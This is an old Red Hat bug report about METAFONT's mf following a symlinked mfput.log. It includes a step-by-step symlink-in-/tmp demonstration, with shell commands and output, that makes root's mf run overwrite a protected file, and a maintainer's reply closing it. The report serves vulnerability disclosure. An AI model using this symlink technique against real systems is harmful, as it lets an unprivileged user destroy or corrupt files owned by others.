Bug 9954 - mf logfile, mfput.log, will follow symlinks
Summary: mf logfile, mfput.log, will follow symlinks
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: tetex   
(Show other bugs)
Version: 6.1
Hardware: i386
OS: Linux
Target Milestone: ---
Assignee: Tim Waugh
QA Contact:
Keywords: Security
Depends On:
TreeView+ depends on / blocked
Reported: 2000-03-04 06:50 UTC by dpr
Modified: 2008-05-01 15:37 UTC (History)
0 users

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2000-03-04 15:24:54 UTC
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

Description dpr 2000-03-04 06:50:10 UTC
I typoed a mv tonight with mf (a command I've never used before), and when
I exited mf (with a cntl-c), I noticed a file called mfput.log in my
current directory.  Curious, I created /etc/privfile as root, then created
a symling in /tmp.  When I went into /tmp as root, and typed 'mf blah
blah', then exited, /etc/privfile had been overwritten.  This could
probably be used to overwrite any arbitrary file.

[root@operative /tmp]# cat /etc/redhat-release
Red Hat Linux
[root@operative /tmp]# rpm -qf /usr/bin/mf
tetex-1.0.6-7 release 6.1 (Cartman)

[root@operative /]# touch /etc/privfile
[root@operative /]# cat /etc/privfile
[root@operative /]#

[dpr@operative /tmp]$ ln -s /etc/privfile mfput.log
[dpr@operative /tmp]$ ls -al /tmp/mfput.log
lrwxrwxrwx   1 dpr     dpr           13 Mar  4 01:45 /tmp/mfput.log ->

[root@operative /]# cd /tmp
[root@operative /tmp]# mf blah blah
This is METAFONT, Version 2.7182 (Web2C 7.3.1)
kpathsea: Running mktexmf  blah
! I can't find file `blah'.
<*> blah
Please type another input file name: 		{I hit cntrl-c, here}
! Emergency stop.
<*> blah
Transcript written on mfput.log.
[root@operative /tmp]#

[root@operative /tmp]# cat /etc/privfile
This is METAFONT, Version 2.7182 (Web2C 7.3.1) (base=mf 1999.9.25)  4 MAR
2000 01:47
**blah blah

! Emergency stop.
<*> blah
End of file on the terminal!

Comment 1 Jeff Johnson 2000-03-04 15:24:59 UTC
This is not a bug in tetex, as there are a whole class of programs that
will exhibit the behavior you describe.

Note You need to log in before you can comment on or make changes to this bug.